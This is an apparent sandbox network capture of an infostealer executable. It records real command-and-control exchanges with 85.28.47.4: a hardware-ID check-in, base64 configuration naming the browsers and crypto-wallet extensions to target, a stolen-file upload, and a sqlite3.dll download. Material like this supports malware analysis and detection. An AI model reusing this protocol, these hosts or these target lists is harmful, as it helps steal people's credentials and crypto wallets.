Jul 4, 2024 00:02:59.824198961 CEST	50003	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:59.824199915 CEST	50002	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:59.824428082 CEST	50003	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:59.832998991 CEST	80	50003	77.91.77.82	192.168.2.4
Jul 4, 2024 00:03:00.541750908 CEST	80	50003	77.91.77.82	192.168.2.4
Jul 4, 2024 00:03:00.541814089 CEST	50003	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:03:00.650919914 CEST	50003	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:03:00.651294947 CEST	50004	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:03:00.658548117 CEST	80	50004	77.91.77.82	192.168.2.4
Jul 4, 2024 00:03:00.658617020 CEST	50004	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:03:00.658723116 CEST	50004	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:03:00.658761024 CEST	80	50003	77.91.77.82	192.168.2.4
Jul 4, 2024 00:03:00.658803940 CEST	50003	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:03:00.665826082 CEST	80	50004	77.91.77.82	192.168.2.4
Jul 4, 2024 00:03:01.380944014 CEST	80	50004	77.91.77.82	192.168.2.4
Jul 4, 2024 00:03:01.383233070 CEST	50004	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:03:01.385520935 CEST	50004	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:03:01.385840893 CEST	50005	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:03:01.392494917 CEST	80	50005	77.91.77.82	192.168.2.4
Jul 4, 2024 00:03:01.392613888 CEST	50005	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:03:01.392710924 CEST	50005	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:03:01.392926931 CEST	80	50004	77.91.77.82	192.168.2.4
Jul 4, 2024 00:03:01.393182039 CEST	50004	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:03:01.399688959 CEST	80	50005	77.91.77.82	192.168.2.4
Jul 4, 2024 00:03:02.118091106 CEST	80	50005	77.91.77.82	192.168.2.4
Jul 4, 2024 00:03:02.118164062 CEST	50005	80	192.168.2.4	77.91.77.82

HTTP Request Dependency Graph

85.28.47.4

77.91.77.81

77.91.77.82

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	85.28.47.4	80	7156	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:58:54.774104118 CEST	407	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIJKEBFBFHIJJKEHDHI Host: 85.28.47.4 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 31 38 30 33 44 45 30 46 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6a 6f 6e 79 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 2d 2d 0d 0a Data Ascii: ------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="hwid"231803DE0F39786254513------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="build"jony------BFIJKEBFBFHIJJKEHDHI--
Jul 3, 2024 23:58:55.522876978 CEST	384	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:58:55 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 156 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 7a 56 6d 59 6d 52 6a 4e 57 51 77 4d 57 51 7a 4e 47 4d 30 4d 6a 59 30 4e 44 5a 6b 4f 44 6b 78 4f 57 51 33 4e 32 4d 31 59 7a 52 6d 4f 44 41 31 5a 6a 59 30 5a 44 55 7a 4d 54 4e 6c 4e 6d 49 34 4e 7a 64 68 4d 7a 55 30 4f 47 49 79 4e 6a 45 34 4e 54 64 6d 4e 7a 64 69 4e 54 68 6b 4f 47 59 35 66 47 70 69 5a 48 52 68 61 57 70 76 64 6d 64 38 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 3d Data Ascii: NzVmYmRjNWQwMWQzNGM0MjY0NDZkODkxOWQ3N2M1YzRmODA1ZjY0ZDUzMTNlNmI4NzdhMzU0OGIyNjE4NTdmNzdiNThkOGY5fGpiZHRhaWpvdmd8ZWltZWhydnpvZC5maWxlfDB8MHwxfDF8MXwxfDF8MXw=
Jul 3, 2024 23:58:55.527976990 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCAAAFCBFBAKFHJDBKJ Host: 85.28.47.4 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 35 66 62 64 63 35 64 30 31 64 33 34 63 34 32 36 34 34 36 64 38 39 31 39 64 37 37 63 35 63 34 66 38 30 35 66 36 34 64 35 33 31 33 65 36 62 38 37 37 61 33 35 34 38 62 32 36 31 38 35 37 66 37 37 62 35 38 64 38 66 39 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="token"75fbdc5d01d34c426446d8919d77c5c4f805f64d5313e6b877a3548b261857f77b58d8f9------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="message"browsers------DGCAAAFCBFBAKFHJDBKJ--
Jul 3, 2024 23:58:55.711540937 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:58:55 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jul 3, 2024 23:58:55.711585045 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jul 3, 2024 23:58:55.712805986 CEST	464	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHCAEGCBFHJDGCBFHDA Host: 85.28.47.4 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 35 66 62 64 63 35 64 30 31 64 33 34 63 34 32 36 34 34 36 64 38 39 31 39 64 37 37 63 35 63 34 66 38 30 35 66 36 34 64 35 33 31 33 65 36 62 38 37 37 61 33 35 34 38 62 32 36 31 38 35 37 66 37 37 62 35 38 64 38 66 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 2d 2d 0d 0a Data Ascii: ------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="token"75fbdc5d01d34c426446d8919d77c5c4f805f64d5313e6b877a3548b261857f77b58d8f9------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="message"plugins------KFHCAEGCBFHJDGCBFHDA--
Jul 3, 2024 23:58:55.752239943 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jul 3, 2024 23:58:55.946746111 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:58:55 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 5416 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jul 3, 2024 23:58:55.946787119 CEST	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Jul 3, 2024 23:58:55.946840048 CEST	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Jul 3, 2024 23:58:55.946875095 CEST	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Jul 3, 2024 23:58:55.946908951 CEST	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Jul 3, 2024 23:58:55.946943998 CEST	476	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Jul 3, 2024 23:58:56.154361010 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECAECFCAAEBFHIEHDGH Host: 85.28.47.4 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 35 66 62 64 63 35 64 30 31 64 33 34 63 34 32 36 34 34 36 64 38 39 31 39 64 37 37 63 35 63 34 66 38 30 35 66 36 34 64 35 33 31 33 65 36 62 38 37 37 61 33 35 34 38 62 32 36 31 38 35 37 66 37 37 62 35 38 64 38 66 39 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 2d 2d 0d 0a Data Ascii: ------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="token"75fbdc5d01d34c426446d8919d77c5c4f805f64d5313e6b877a3548b261857f77b58d8f9------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="message"fplugins------AECAECFCAAEBFHIEHDGH--
Jul 3, 2024 23:58:56.338053942 CEST	335	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:58:56 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jul 3, 2024 23:58:56.552788973 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDBGDHIIDAEBFHJJDBF Host: 85.28.47.4 Content-Length: 6903 Connection: Keep-Alive Cache-Control: no-cache
Jul 3, 2024 23:58:56.552788973 CEST	6903	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 35 66 62 64 63 Data Ascii: ------JJDBGDHIIDAEBFHJJDBFContent-Disposition: form-data; name="token"75fbdc5d01d34c426446d8919d77c5c4f805f64d5313e6b877a3548b261857f77b58d8f9------JJDBGDHIIDAEBFHJJDBFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jul 3, 2024 23:58:57.380136967 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:58:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 3, 2024 23:58:57.630276918 CEST	89	OUT	GET /69934896f997d5bb/sqlite3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 3, 2024 23:58:57.812082052 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:58:57 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
